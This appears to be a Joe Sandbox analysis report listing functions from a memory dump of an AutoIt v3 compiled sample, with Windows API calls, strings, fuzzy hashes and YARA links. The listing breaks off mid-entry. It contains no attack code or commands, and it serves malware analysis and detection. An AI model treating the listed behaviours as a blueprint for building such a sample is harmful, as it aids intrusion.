Part of subcall function 0018EB05: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0018EADA,?,?), ref: 0018EB27

_wcscat.LIBCMT ref: 001E32FC
_wcscat.LIBCMT ref: 001E3334
_wcsncpy.LIBCMT ref: 001E3370

Strings

Include, xrefs: 0018EA63
"#, xrefs: 0018EAEB
\, xrefs: 001E3321

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscat$Exception@8FileModuleNameOpenThrow__makepath__wmakepath_s__wsplitpath__wsplitpath_helper_wcscpy_wcsncat_wcsncpystd::exception::exception
String ID: Include$\$"#
API String ID: 1213536620-3510780041
Opcode ID: 84a9e571a677dbbc8bec5a5c139bb8f4622696d56ed013570f2724484c9e0e9f
Instruction ID: 53d7f902c028ed63876c30cbe478f72b0c0db24a99ed250c94534d42adac0de3
Opcode Fuzzy Hash: 84a9e571a677dbbc8bec5a5c139bb8f4622696d56ed013570f2724484c9e0e9f
Instruction Fuzzy Hash: 7D514BB2414380EBC719EF65FC89C9BB7F8FB59300B80496EF54583261EB749648CB66

Function 001B78EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 001B7909
gethostname.WS2_32(?,00000100), ref: 001B7923
gethostbyname.WS2_32(?), ref: 001B7930
_wcscpy.LIBCMT ref: 001B7958
_memmove.LIBCMT ref: 001B796B
inet_ntoa.WS2_32(?), ref: 001B7976
_strcat.LIBCMT ref: 001B7984
_wcscpy.LIBCMT ref: 001B799B
WSACleanup.WS2_32 ref: 001B79A9
_wcscpy.LIBCMT ref: 001B79B7

Strings

0.0.0.0, xrefs: 001B7952

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: bce607fd5b32110bce83f25eff4380c4661a32456c76913818235722d1a77175
Instruction ID: d8912b8df0a11784c3e9565a134ab5c69144f62a6057499231cdf85584392d18
Opcode Fuzzy Hash: bce607fd5b32110bce83f25eff4380c4661a32456c76913818235722d1a77175
Instruction Fuzzy Hash: 01119071A08115AEDF24A760AC4AAFA77AC9B55728F0001A5F445961D1EB70DA818AA0

Function 001730A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 001730B0
LoadCursorW.USER32(00000000,00007F00), ref: 001730BF
LoadIconW.USER32(00000063), ref: 001730D5
LoadIconW.USER32(000000A4), ref: 001730E7
LoadIconW.USER32(000000A2), ref: 001730F9

Part of subcall function 0017318A: LoadImageW.USER32(00170000,00000063,00000001,00000010,00000010,00000000), ref: 001731AE

RegisterClassExW.USER32(?), ref: 00173167

Part of subcall function 00172F58: GetSysColorBrush.USER32(0000000F), ref: 00172F8B
Part of subcall function 00172F58: RegisterClassExW.USER32(00000030), ref: 00172FB5
Part of subcall function 00172F58: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00172FC6
Part of subcall function 00172F58: LoadIconW.USER32(000000A9), ref: 00173009

Strings

AutoIt v3, xrefs: 00173156
#, xrefs: 00173140
0, xrefs: 00173139

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
String ID: #$0$AutoIt v3
API String ID: 2880975755-4155596026
Opcode ID: 8875d83b5305dc86cfd9c487e4f5d24c75bd0232f93967d6174a5848a437396e
Instruction ID: 15b1589e0e9e9fecf7df901fd457ea71d1ad134cfe581ca537ade284a66de877
Opcode Fuzzy Hash: 8875d83b5305dc86cfd9c487e4f5d24c75bd0232f93967d6174a5848a437396e
Instruction Fuzzy Hash: 42213DB4E00304ABCB04DFA9FC4DA99BFF5FB48314F10822AE618A72A0D7758655DF91

Function 001CB74B Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001CB777
CoInitialize.OLE32(00000000), ref: 001CB7A4
CoUninitialize.COMBASE ref: 001CB7AE
GetRunningObjectTable.OLE32(00000000,?), ref: 001CB8AE
SetErrorMode.KERNEL32(00000001,00000029), ref: 001CB9DB
CoGetInstanceFromFile.COMBASE(00000000,?,00000000,00000015,00000002), ref: 001CBA0F
CoGetObject.OLE32(?,00000000,001FD91C,?), ref: 001CBA32
SetErrorMode.KERNEL32(00000000), ref: 001CBA45
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 001CBAC5
VariantClear.OLEAUT32(001FD91C), ref: 001CBAD5

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 1c802abe90423de96caf452b4f4d1a7609aba2293d1792e84bbf703302c7a436
Instruction ID: 3d3002a275ac9253aa792ee72c00ecb839c414f1f1697068b1f0a76e907120b4
Opcode Fuzzy Hash: 1c802abe90423de96caf452b4f4d1a7609aba2293d1792e84bbf703302c7a436
Instruction Fuzzy Hash: 5AC110B1608305AFC704DF68C885E6AB7E9BF99308F04491DF98ADB251DB71ED05CB92

Function 00172F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53registrywindowclipboardCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00172F8B
RegisterClassExW.USER32(00000030), ref: 00172FB5
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00172FC6
LoadIconW.USER32(000000A9), ref: 00173009

Strings

+, xrefs: 00172F74
0, xrefs: 00172F6D
TaskbarCreated, xrefs: 00172FBB
AutoIt v3 GUI, xrefs: 00172FA7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: 3a20dddb9312a18984e5e2e519e3985ca70273e5e58133ce92233ff71bced2ef
Instruction ID: e2c6ed8af00f437e90c74620b596af231e6f7301e6c3628a3f344599d09705c1
Opcode Fuzzy Hash: 3a20dddb9312a18984e5e2e519e3985ca70273e5e58133ce92233ff71bced2ef
Instruction Fuzzy Hash: B121C4B5900318AFEB00EFA4F889BEDBBF5FB08704F00421AF615A62A0D7B14594CF95

Function 001D23C5 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D23E6
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 001D2579
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 001D259D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 001D25DD
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 001D25FF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 001D2760
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 001D2792
CloseHandle.KERNEL32(?), ref: 001D27C1
CloseHandle.KERNEL32(?), ref: 001D2838

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 0a5c4dc97721e4717a560569cf0d4db2bbfd98a12fdf12f662f34a7c33af3b7e
Instruction ID: 5d07feaa6fc43ef56a3aa39731d3b7b1515828cf8f1bfca5215f05dac1f08f64
Opcode Fuzzy Hash: 0a5c4dc97721e4717a560569cf0d4db2bbfd98a12fdf12f662f34a7c33af3b7e
Instruction Fuzzy Hash: 01D1AF31604301DFCB25EF24D891B6ABBE5AFA5314F14845EF8999B3A2DB30ED41CB52

Function 001CC8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 001CC916
NULL Pointer assignment, xrefs: 001CCCEE, 001CCCFF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: ae919de2b4d036816dce06e1f481b0ec058fedc30b6da62e702be3e3bb24f3b8
Instruction ID: b217877638368a616642b6a1b3c7812080ec545f9121206e357eb82bceba2668
Opcode Fuzzy Hash: ae919de2b4d036816dce06e1f481b0ec058fedc30b6da62e702be3e3bb24f3b8
Instruction Fuzzy Hash: DCE19E71A00219ABDF14DFA8D885FEE77B9BF68354F14802DE949AB281E770DD41CB90

Function 001CBF80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001CBFD4
VariantInit.OLEAUT32(?), ref: 001CC0A5
VariantInit.OLEAUT32(?), ref: 001CC1A6
VariantClear.OLEAUT32(?), ref: 001CC1B0
VariantClear.OLEAUT32(?), ref: 001CC211

Strings

Incorrect Object type in FOR..IN loop, xrefs: 001CC189
Null Object assignment in FOR..IN loop, xrefs: 001CC035, 001CC163, 001CC21F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 687b8acc0fef72bf528eccd417b402a478c88502c43c4e8305ef749ad404aa02
Instruction ID: 182ade9704349fbf4aec1098f21a8fbce51f112f2507df363395f22c85f94f52
Opcode Fuzzy Hash: 687b8acc0fef72bf528eccd417b402a478c88502c43c4e8305ef749ad404aa02
Instruction Fuzzy Hash: A5918A71A00219EBCB24DFA5D844FAEBBB8AF65710F14815DF919AB281D770DE41CFA0

Function 0018EB05 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0018EADA,?,?), ref: 0018EB27
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,0018EADA,?,?), ref: 001E4B26
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,0018EADA,?,?), ref: 001E4B65
RegCloseKey.ADVAPI32(?,?,0018EADA,?,?), ref: 001E4B94

Strings

Software\AutoIt v3\AutoIt, xrefs: 0018EB1D
Include, xrefs: 001E4B1E, 001E4B5D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 35550325db39feacb0e7321e0b5a53222dbbfe20d23270946b081e539c72b7f6
Instruction ID: 4b5c98fc82e9e7eac8044f128f70a67f36248ae473e47babda6ca927e9667589
Opcode Fuzzy Hash: 35550325db39feacb0e7321e0b5a53222dbbfe20d23270946b081e539c72b7f6
Instruction Fuzzy Hash: 39114C71A01208BFEB04EBA4DD86EBE77BCEF14354F104069F506E6191EB70AE41DB50

Function 00172E9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000), ref: 00172ECB
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00172EEC
ShowWindow.USER32(00000000), ref: 00172F00
ShowWindow.USER32(00000000), ref: 00172F09

Strings

AutoIt v3, xrefs: 00172EC3, 00172EC8, 00172EC9
edit, xrefs: 00172EE6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: fd391c253319bf16dafb0cca9c264fbfd7341fd601900ecf388e4db2f760ea0f
Instruction ID: 133ac70758515b47f60557a01ca344f5381d09aeb1976b1d4971b394bf861f88
Opcode Fuzzy Hash: fd391c253319bf16dafb0cca9c264fbfd7341fd601900ecf388e4db2f760ea0f
Instruction Fuzzy Hash: 07F03470A502D07AE7305B67BC8CE773E7EE7C6F20B01411EBE08A21A0D26108A1DAB0

Function 001C936F Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 001C9409
WSAGetLastError.WS2_32(00000000), ref: 001C9416
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 001C943A
_strlen.LIBCMT ref: 001C9484
_memmove.LIBCMT ref: 001C94CA
WSAGetLastError.WS2_32(00000000), ref: 001C94F7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLast$_memmove_strlenselect
String ID:
API String ID: 2795762555-0
Opcode ID: 9e4b6b7b3fe3a435169544e3f1f5df98554ce297d5bf6afbea634d19e3b0635f
Instruction ID: 65517fce24408abe9d944f7e2fcb57daa1ba4a47db8cf04a99bbe1e0ba885c6a
Opcode Fuzzy Hash: 9e4b6b7b3fe3a435169544e3f1f5df98554ce297d5bf6afbea634d19e3b0635f
Instruction Fuzzy Hash: 2D416375500104AFCB18EBA4DD99FAEB7B9EF68314F108259F51A97291DB30EE41CB60

Function 001B6D6D Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00173B1E: _wcsncpy.LIBCMT ref: 00173B32

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 001B6DBA
GetLastError.KERNEL32 ref: 001B6DC5
CreateDirectoryW.KERNEL32(?,00000000), ref: 001B6DD9
_wcsrchr.LIBCMT ref: 001B6DFB

Part of subcall function 001B6D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 001B6E31

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: 252d25e7876a8cd0c6017d5d33abe462f2814e1ed2e05f33b1d76201a81023b7
Instruction ID: 4becced5300100b2c3600092005198a875149a3dd635e890076c6b08e9372474
Opcode Fuzzy Hash: 252d25e7876a8cd0c6017d5d33abe462f2814e1ed2e05f33b1d76201a81023b7
Instruction Fuzzy Hash: 8E21DF656013189ADF24A7B4EC5AAFE33AD8F21310F200566E425C30E2EB28DE849B54

Function 001C9122 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001CACD3: inet_addr.WS2_32(00000000), ref: 001CACF5

socket.WS2_32(00000002,00000001,00000006,?,?,00000000), ref: 001C9160
WSAGetLastError.WS2_32(00000000), ref: 001C916F
connect.WS2_32(00000000,?,00000010), ref: 001C918B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 04fd99291ba207d5ca9bd3ee07026af0667f6bb6077bf671c003b7433215e866
Instruction ID: e4eb7a43de7a8f3d490e0c7a28e16e86ff6e62fa2a4b5b44bcd298a02c0f3485
Opcode Fuzzy Hash: 04fd99291ba207d5ca9bd3ee07026af0667f6bb6077bf671c003b7433215e866
Instruction Fuzzy Hash: B6218E312002119FDB04BF68DC9AFBE77A9EF58728F08851DF916AB791DB70E8418B51

Function 001CF79F Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

dE", xrefs: 001CF865

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID: dE"
API String ID: 0-3908124746
Opcode ID: 9e2d4544f4813bf995eae23b1517e8f1705f2a47d06dad17d1a370d1c1c0981a
Instruction ID: c70a91d41a0a3f52feac8ecc1979405985ae33083f7e4b6dc53ad0442b8aa973
Opcode Fuzzy Hash: 9e2d4544f4813bf995eae23b1517e8f1705f2a47d06dad17d1a370d1c1c0981a
Instruction Fuzzy Hash: BAF16A716083019FC714DF24C880B5ABBE6FF98314F10892EF9999B292D771E946CF82

Function 00173DCB Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 00173F9B: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,001734E2,?,00000001), ref: 00173FCD

_free.LIBCMT ref: 001E3C27
_free.LIBCMT ref: 001E3C6E

Part of subcall function 0017BDF0: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,002322E8,?,00000000,?,00173E2E,?,00000000,?,0020DBF0,00000000,?), ref: 0017BE8B
Part of subcall function 0017BDF0: GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00173E2E,?,00000000,?,0020DBF0,00000000,?,00000002), ref: 0017BEA7
Part of subcall function 0017BDF0: __wsplitpath.LIBCMT ref: 0017BF19
Part of subcall function 0017BDF0: _wcscpy.LIBCMT ref: 0017BF31
Part of subcall function 0017BDF0: _wcscat.LIBCMT ref: 0017BF46
Part of subcall function 0017BDF0: SetCurrentDirectoryW.KERNEL32(?), ref: 0017BF56

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 001E3A01
Bad directive syntax error, xrefs: 001E3C54

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
